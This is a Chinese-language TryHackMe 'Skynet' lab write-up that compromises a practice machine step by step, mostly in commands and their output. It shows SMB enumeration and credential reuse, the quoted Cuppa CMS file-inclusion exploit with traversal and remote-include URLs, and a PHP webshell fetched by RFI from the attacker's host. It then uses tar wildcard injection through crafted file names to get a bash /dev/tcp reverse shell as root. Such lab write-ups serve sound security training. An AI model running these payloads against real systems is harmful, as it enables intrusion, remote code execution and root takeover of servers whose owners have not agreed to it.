Tryhack Me Skynet Writeup#

紀錄自己的writeup與碰壁情況xd

資訊收集#

透過 nmap、gobuster 等工具進行掃描

nmap#

1
┌──(kali㉿kali)-[~/Desktop/ctf/tryhackme]
2
└─$ nmap 10.49.187.42
3
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-12 04:46 -0500
4
Nmap scan report for 10.49.187.42
5
Host is up (0.37s latency).
6
Not shown: 994 closed tcp ports (reset)
7
PORT    STATE SERVICE
8
22/tcp  open  ssh
9
80/tcp  open  http
10
110/tcp open  pop3
11
139/tcp open  netbios-ssn
12
143/tcp open  imap
13
445/tcp open  microsoft-ds
14

15
Nmap done: 1 IP address (1 host up) scanned in 4.44 seconds

gobuster#

1
┌──(kali㉿kali)-[~/Desktop/ctf/tryhackme]
2
└─$ gobuster dir -u 10.49.187.42 -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
3
===============================================================
4
Gobuster v3.8
5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
6
===============================================================
7
[+] Url:                     http://10.49.187.42
8
[+] Method:                  GET
9
[+] Threads:                 10
10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
11
[+] Negative Status codes:   404
12
[+] User Agent:              gobuster/3.8
13
[+] Timeout:                 10s
14
===============================================================
15
Starting gobuster in directory enumeration mode
16
===============================================================
17
/admin                (Status: 301) [Size: 312] [--> http://10.49.187.42/admin/]
18
/css                  (Status: 301) [Size: 310] [--> http://10.49.187.42/css/]
19
/js                   (Status: 301) [Size: 309] [--> http://10.49.187.42/js/]
20
/config               (Status: 301) [Size: 313] [--> http://10.49.187.42/config/]
21
/squirrelmail         (Status: 301) [Size: 319] [--> http://10.49.187.42/squirrelmail/]
22
/ai                   (Status: 301) [Size: 309] [--> http://10.49.187.42/ai/]
23
/server-status        (Status: 403) [Size: 277]
24
Progress: 4899 / 20115 (24.35%)^C

得知機器有smb服務，嘗試一下會發現僅 /squirrelmail/ 目錄可被存取

squirrelmail#

雖然 mail 頁面可被存取，但目前完全無任何有關帳密的資訊 alt text

smb#

透過 smbmap 掃描 smb 服務，得知有一個 anonymous 的 share 可被讀取

1
(kali㉿kali)-[~/Desktop/ctf/tryhackme]
2
└─$ smbmap -H 10.49.187.42
3
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - [email protected]
4
                     https://github.com/ShawnDEvans/smbmap
5

6
[*] Detected 1 hosts serving SMB
7
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
8

9
[+] IP: 10.49.187.42:445        Name: 10.49.187.42              Status: NULL Session
10
        Disk                                                    Permissions     Comment
11
        ----                                                    -----------     -------
12
        print$                                                  NO ACCESS       Printer Drivers
13
        anonymous                                               READ ONLY       Skynet Anonymous Share
14
        milesdyson                                              NO ACCESS       Miles Dyson Personal Share
15
        IPC$                                                    NO ACCESS       IPC Service (skynet server (Samba, Ubuntu))
16
[*] Closed 1 connections

透過 smbclient 連線至 anonymous share ，把檔案都 get 下來看看，因匿名可讀所以遇到密碼直接enter即可

1
┌──(kali㉿kali)-[~/Desktop/ctf/tryhackme]
2
└─$ sudo smbclient //10.49.187.42/anonymous
3
[sudo] password for kali:
4
Password for [WORKGROUP\root]:
5
Try "help" to get a list of possible commands.
6
smb: \> ls
7
  .                                   D        0  Thu Nov 26 11:04:00 2020
8
  ..                                  D        0  Tue Sep 17 03:20:17 2019
9
  attention.txt                       N      163  Tue Sep 17 23:04:59 2019
10
  logs                                D        0  Wed Sep 18 00:42:16 2019
11

12
                9204224 blocks of size 1024. 5831032 blocks available
13
smb: \> get attention.txt
14
getting file \attention.txt of size 163 as attention.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
15
smb: \> cd logs
16
smb: \logs\> ls
17
  .                                   D        0  Wed Sep 18 00:42:16 2019
18
  ..                                  D        0  Thu Nov 26 11:04:00 2020
19
  log2.txt                            N        0  Wed Sep 18 00:42:13 2019
20
  log1.txt                            N      471  Wed Sep 18 00:41:59 2019
21
  log3.txt                            N        0  Wed Sep 18 00:42:16 2019
22
get
23
                9204224 blocks of size 1024. 5831032 blocks available
24
smb: \logs\> get log1.txt
25
getting file \logs\log1.txt of size 471 as log1.txt (0.3 KiloBytes/sec) (average 0.2 KiloBytes/sec)
26
smb: \logs\> get log2.txt
27
getting file \logs\log2.txt of size 0 as log2.txt (0.0 KiloBytes/sec) (average 0.2 KiloBytes/sec)
28
smb: \logs\> get log3.txt
29
getting file \logs\log3.txt of size 0 as log3.txt (0.0 KiloBytes/sec) (average 0.1 KiloBytes/sec)
30
smb: \logs\>

取得的檔案內容如下

1
┌──(kali㉿kali)-[~/Desktop/ctf/tryhackme/skynet]
2
└─$ cat attention.txt
3
A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
4
-Miles Dyson
5

6
┌──(kali㉿kali)-[~/Desktop/ctf/tryhackme/skynet]
7
└─$ cat log1.txt
8
cyborg007haloterminator
9
terminator22596
10
terminator219
11
terminator20
12
terminator1989
13
terminator1988
14
terminator168
15
terminator16
16
terminator143
17
terminator13
18
terminator123!@#
19
terminator1056
20
terminator101
21
terminator10
22
terminator02
23
terminator00
24
roboterminator
25
pongterminator
26
manasturcaluterminator
27
exterminator95
28
exterminator200
29
dterminator
30
djxterminator
31
dexterminator
32
determinator
33
cyborg007haloterminator
34
avsterminator
35
alonsoterminator
36
Walterminator
37
79terminator6
38
1996terminator

flag1#

透過收集的資訊進行嘗試#

第一個flag問的是miles的mail密碼是甚麼，根據 attention.txt 的管理員要求重設密碼可以猜測，smb的密碼最近被重設過。

而疑似是密碼的清單與smb那邊存在帳號milesdyson，可以嘗試在smb與squirrelmail登入，嘗試幾個密碼後，發現smb無法用這些登入，而squirrelmail的密碼為 cyborg007haloterminator

flag2#

透過收集的資訊進行嘗試#

mail登入後裡面有一個 smb 密碼重設的信件，有重設的密碼，我們可以嘗試繼續用 smbclient 與那組重設的密碼登入 milesdyson (密碼含特殊符號，只需在指令中指定帳號即可，他要密碼時再貼上給他)

1
┌──(kali㉿kali)-[~/Desktop/ctf/tryhackme/skynet]
2
└─$ smbclient //10.49.187.42/milesdyson -U milesdyson
3
Password for [WORKGROUP\milesdyson]:
4
Try "help" to get a list of possible commands.
5
smb: \> ls
6
  .                                   D        0  Tue Sep 17 05:05:47 2019
7
  ..                                  D        0  Tue Sep 17 23:51:03 2019
8
  Improving Deep Neural Networks.pdf      N  5743095  Tue Sep 17 05:05:14 2019
9
  Natural Language Processing-Building Sequence Models.pdf      N 12927230  Tue Sep 17 05:05:14 2019
10
  Convolutional Neural Networks-CNN.pdf      N 19655446  Tue Sep 17 05:05:14 2019
11
  notes                               D        0  Tue Sep 17 05:18:40 2019
12
  Neural Networks and Deep Learning.pdf      N  4304586  Tue Sep 17 05:05:14 2019
13
  Structuring your Machine Learning Project.pdf      N  3531427  Tue Sep 17 05:05:14 2019
14

15
                9204224 blocks of size 1024. 5831000 blocks available
16
smb: \> cd notes
17
smb: \notes\> ls
18
  .                                   D        0  Tue Sep 17 05:18:40 2019
19
  ..                                  D        0  Tue Sep 17 05:05:47 2019
20
  3.01 Search.md                      N    65601  Tue Sep 17 05:01:29 2019
21
  4.01 Agent-Based Models.md          N     5683  Tue Sep 17 05:01:29 2019
22
  2.08 In Practice.md                 N     7949  Tue Sep 17 05:01:29 2019
23
  0.00 Cover.md                       N     3114  Tue Sep 17 05:01:29 2019
24
  1.02 Linear Algebra.md              N    70314  Tue Sep 17 05:01:29 2019
25
  important.txt                       N      117  Tue Sep 17 05:18:39 2019
26
  6.01 pandas.md                      N     9221  Tue Sep 17 05:01:29 2019
27
  3.00 Artificial Intelligence.md      N       33  Tue Sep 17 05:01:29 2019
28
  2.01 Overview.md                    N     1165  Tue Sep 17 05:01:29 2019
29
  3.02 Planning.md                    N    71657  Tue Sep 17 05:01:29 2019
30
  1.04 Probability.md                 N    62712  Tue Sep 17 05:01:29 2019
31
  2.06 Natural Language Processing.md      N    82633  Tue Sep 17 05:01:29 2019
32
  2.00 Machine Learning.md            N       26  Tue Sep 17 05:01:29 2019
33
  1.03 Calculus.md                    N    40779  Tue Sep 17 05:01:29 2019
34
  3.03 Reinforcement Learning.md      N    25119  Tue Sep 17 05:01:29 2019
35
  1.08 Probabilistic Graphical Models.md      N    81655  Tue Sep 17 05:01:29 2019
36
  1.06 Bayesian Statistics.md         N    39554  Tue Sep 17 05:01:29 2019
37
  6.00 Appendices.md                  N       20  Tue Sep 17 05:01:29 2019
38
  1.01 Functions.md                   N     7627  Tue Sep 17 05:01:29 2019
39
  2.03 Neural Nets.md                 N   144726  Tue Sep 17 05:01:29 2019
40
  2.04 Model Selection.md             N    33383  Tue Sep 17 05:01:29 2019
41
  2.02 Supervised Learning.md         N    94287  Tue Sep 17 05:01:29 2019
42
  4.00 Simulation.md                  N       20  Tue Sep 17 05:01:29 2019
43
  3.05 In Practice.md                 N     1123  Tue Sep 17 05:01:29 2019
44
  1.07 Graphs.md                      N     5110  Tue Sep 17 05:01:29 2019
45
  2.07 Unsupervised Learning.md       N    21579  Tue Sep 17 05:01:29 2019
46
  2.05 Bayesian Learning.md           N    39443  Tue Sep 17 05:01:29 2019
47
  5.03 Anonymization.md               N     2516  Tue Sep 17 05:01:29 2019
48
  5.01 Process.md                     N     5788  Tue Sep 17 05:01:29 2019
49
  1.09 Optimization.md                N    25823  Tue Sep 17 05:01:29 2019
50
  1.05 Statistics.md                  N    64291  Tue Sep 17 05:01:29 2019
51
  5.02 Visualization.md               N      940  Tue Sep 17 05:01:29 2019
52
  5.00 In Practice.md                 N       21  Tue Sep 17 05:01:29 2019
53
  4.02 Nonlinear Dynamics.md          N    44601  Tue Sep 17 05:01:29 2019
54
  1.10 Algorithms.md                  N    28790  Tue Sep 17 05:01:29 2019
55
  3.04 Filtering.md                   N    13360  Tue Sep 17 05:01:29 2019
56
  1.00 Foundations.md                 N       22  Tue Sep 17 05:01:29 2019
57

58
                9204224 blocks of size 1024. 5831000 blocks available
59
smb: \notes\> get important.txt
60
getting file \notes\important.txt of size 117 as important.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
61
smb: \notes\> ^C
62

63
┌──(kali㉿kali)-[~/Desktop/ctf/tryhackme/skynet]
64
└─$ cat important.txt
65

66
1. Add features to beta CMS /45kra24zxs28v3yd
67
2. Work on T-800 Model 101 blueprints
68
3. Spend more time with my wife

嗯…看起來很多文章，有個比較特別的是 important.txt 裡面提到 beta CMS 以及一個目錄 /45kra24zxs28v3yd

flag3#

查看隱藏目錄#

透過瀏覽器前往 http://10.49.187.42/45kra24zxs28v3yd/，發現是個人介面 alt text 因 important 中提到 beta CMS ，猜測可能有新的東西在新目錄下，可繼續嘗試 gobuster 這個新目錄

gobuster 掃描隱藏目錄#

經過掃描，發現了一個 administrator 目錄

1
┌──(kali㉿kali)-[~/Desktop/ctf/tryhackme/skynet]
2
└─$ gobuster dir -u 10.49.187.42/45kra24zxs28v3yd -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
3
===============================================================
4
Gobuster v3.8
5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
6
===============================================================
7
[+] Url:                     http://10.49.187.42/45kra24zxs28v3yd
8
[+] Method:                  GET
9
[+] Threads:                 10
10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
11
[+] Negative Status codes:   404
12
[+] User Agent:              gobuster/3.8
13
[+] Timeout:                 10s
14
===============================================================
15
Starting gobuster in directory enumeration mode
16
===============================================================
17
/administrator        (Status: 301) [Size: 337] [--> http://10.49.187.42/45kra24zxs28v3yd/administrator/]
18
Progress: 3892 / 20115 (19.35%)^C

查看 http://10.49.187.42/45kra24zxs28v3yd/administrator/ ，確實是一個叫做 Cuppa CMS 的登入介面

alt text

searchsploit 利用#

serchsploit 簡單來說就是一個存放很多exploit的資料庫，可以透過關鍵字搜尋相關的exploit

透過 searchsploit 搜尋 cuppa cms 相關的exploit，發現有一個 Local/Remote File Inclusion 的漏洞可以利用

1
┌──(kali㉿kali)-[~/Desktop/ctf/tryhackme/skynet]
2
└─$ searchsploit cuppa
3
----------------------------------------------------------------------------------------------- ---------------------------------
4
 Exploit Title                                                                                 |  Path
5
----------------------------------------------------------------------------------------------- ---------------------------------
6
Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion                                | php/webapps/25971.txt
7
----------------------------------------------------------------------------------------------- ---------------------------------
8
Shellcodes: No Results
9
Papers: No Results

其中 flag3 就是 searchsploit 裡提到的 remote file inclusion

flag4#

searchsploit 知道有人家寫好的 exploit code 可以利用，先查看具體內容

1
# 通常用 searchsploit -x 25971 ，即可進入vim查看exploit
2
┌──(kali㉿kali)-[~/Desktop/ctf/tryhackme/skynet]
3
└─$ searchsploit -x 25971
4
  Exploit: Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion
5
      URL: https://www.exploit-db.com/exploits/25971
6
     Path: /usr/share/exploitdb/exploits/php/webapps/25971.txt
7
    Codes: OSVDB-94101
8
 Verified: True
9
File Type: C++ source, ASCII text, with very long lines (876)
10

11

12

13
┌──(kali㉿kali)-[~/Desktop/ctf/tryhackme/skynet]
14
└─$ cat /usr/share/exploitdb/exploits/php/webapps/25971.txt
15
# Exploit Title   : Cuppa CMS File Inclusion
16
# Date            : 4 June 2013
17
# Exploit Author  : CWH Underground
18
# Site            : www.2600.in.th
19
# Vendor Homepage : http://www.cuppacms.com/
20
# Software Link   : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip
21
# Version         : Beta
22
# Tested on       : Window and Linux
23

24
  ,--^----------,--------,-----,-------^--,
25
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
26
  `+---------------------------^----------|
27
    `\_,-------, _________________________|
28
      / XXXXXX /`|     /
29
     / XXXXXX /  `\   /
30
    / XXXXXX /\______(
31
   / XXXXXX /
32
  / XXXXXX /
33
 (________(
34
  `------'
35

36
####################################
37
VULNERABILITY: PHP CODE INJECTION
38
####################################
39

40
/alerts/alertConfigField.php (LINE: 22)
41

42
-----------------------------------------------------------------------------
43
LINE 22:
44
        <?php include($_REQUEST["urlConfig"]); ?>
45
-----------------------------------------------------------------------------
46

47

48
#####################################################
49
DESCRIPTION
50
#####################################################
51

52
An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.
53

54
http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]
55

56
#####################################################
57
EXPLOIT
58
#####################################################
59

60
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
61
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
62

63
Moreover, We could access Configuration.php source code via PHPStream
64

65
For Example:
66
-----------------------------------------------------------------------------
67
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
68
-----------------------------------------------------------------------------
69

70
Base64 Encode Output:
71
-----------------------------------------------------------------------------
72
PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
73
-----------------------------------------------------------------------------
74

75
Base64 Decode Output:
76
-----------------------------------------------------------------------------
77
<?php
78
        class Configuration{
79
                public $host = "localhost";
80
                public $db = "cuppa";
81
                public $user = "root";
82
                public $password = "Db@dmin";
83
                public $table_prefix = "cu_";
84
                public $administrator_template = "default";
85
                public $list_limit = 25;
86
                public $token = "OBqIPqlFWf3X";
87
                public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
88
                public $upload_default_path = "media/uploadsFiles";
89
                public $maximum_file_size = "5242880";
90
                public $secure_login = 0;
91
                public $secure_login_value = "";
92
                public $secure_login_redirect = "";
93
        }
94
?>
95
-----------------------------------------------------------------------------
96

97
Able to read sensitive information via File Inclusion (PHP Stream)
98

99
################################################################################################################
100
 Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
101
################################################################################################################

總而言之，這個漏洞可以讓我們透過 RFI 讓伺服器來讀取我們本機上的php檔案形成webshell或執行php檔案中的指令

RFI/webshell利用#

1
# 網址
2
http://10.49.187.42/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://192.168.139.221:8000/shell.php&cmd=ls%20/
3

4

5
# kali(使用vpn id)
6
#建立webshell，名為 shell.php
7
<?php system($_GET['cmd']); ?>
8

9
#透過python3啟動http server
10
python3 -m http.server 8000

根據題目介紹與webshell，可以在/home下找到 user flag

flag5#

另一個flag檔處於 /root 下，可我們現在是www-data 權限，需進行提權

crontab#

查看 crontab 發現有一個每分鐘會以root執行的腳本 /home/milesdyson/backups/backup.sh

1
Field configuration:
2
# /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command */1 * * * * root /home/milesdyson/backups/backup.sh 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #

以root執行的backup.sh#

1
Field configuration:
2
#!/bin/bash cd /var/www/html tar cf /home/milesdyson/backups/backup.tgz *

透過 **`tar *`** 提權#

這個解法很酷，tar cf /home/milesdyson/backups/backup.tgz *會展開當前目錄下的所有檔名，若檔案名不正確可能會被當作tar的參數處理，進而以root的身分執行指令

透過webshell嘗試創建檔案名為 --checkpoint=1； --checkpoint-action=exec=bash /var/www/html/privesc.sh；privesc.sh 的檔案在/var/www/html/，privesc.sh內容為你想執行的指令，只要能獲得/root/root.txt的指令都可，這邊是打個reverse shell

1
# 在/var/www/html/下
2
--checkpoint=1
3
--checkpoint-action=exec=bash /var/www/html/privesc.sh
4
privesc.sh
5
...其他檔案
6

7
tar cf /home/milesdyson/backups/backup.tgz *在用的時候，會將檔名直接插在後面
8
tar cf /home/milesdyson/backups/backup.tgz --checkpoint=1 --checkpoint-action=exec=bash /var/www/html/privesc.sh privesc.sh ...

意思就是說，參數--checkpoint=1規定在tar每執行一個檔案後，要做--checkpoint-action=exec=bash /var/www/html/privesc.sh這個參數，而--checkpoint-action=exec=bash /var/www/html/privesc.sh會以root執行/var/www/html/privesc.sh這個檔案，而這個檔案內容又是我們想執行的指令

可透過webshell下達以下指令創建tar參數檔案:

1
echo "123" > "/var/www/html/--checkpoint-action=exec=bash privesc.sh"
2

3
echo "123" > "/var/www/html/--checkpoint=1"

在做的時候我貌似一直被卡特殊符號，所以特別多寫了一個製作privesc.sh的 php 腳本來完成reverse shell的準備

1
<?php
2
$payload = 'bash -i >& /dev/tcp/192.168.139.221/4444 0>&1';
3
file_put_contents('/var/www/html/privesc.sh', $payload);
4
chmod('/var/www/html/privesc.sh', 0755);
5
echo "File written successfully";
6
?>

用RFI觸發後就會在伺服器自動生成具備reverse shell的privesc.sh，以上三個檔案創建好後，在本地開啟監聽，接著等待cron job執行即可獲得root shell

1
┌──(kali㉿kali)-[~/Desktop/ctf/tryhackme/skynet]
2
└─$ nc -lvnp 4444
3
listening on [any] 4444 ...
4
connect to [192.168.139.221] from (UNKNOWN) [10.49.187.42] 48876
5
bash: cannot set terminal process group (22772): Inappropriate ioctl for device
6
bash: no job control in this shell
7
root@skynet:/var/www/html# whoami
8
whoami
9
root
10
root@skynet:/var/www/html# cat /root/root.txt
11
cat /root/root.txt
12
3f0372db24753acc****(不提供flag)

Tryhack Me Skynet Writeup#

資訊收集#

nmap#

gobuster#

squirrelmail#

smb#

flag1#

透過收集的資訊進行嘗試#

flag2#

透過收集的資訊進行嘗試#

flag3#

查看隱藏目錄#

gobuster 掃描隱藏目錄#

searchsploit 利用#

flag4#

RFI/webshell利用#

flag5#

crontab#

以root執行的backup.sh#

透過 tar * 提權#

透過 **`tar *`** 提權#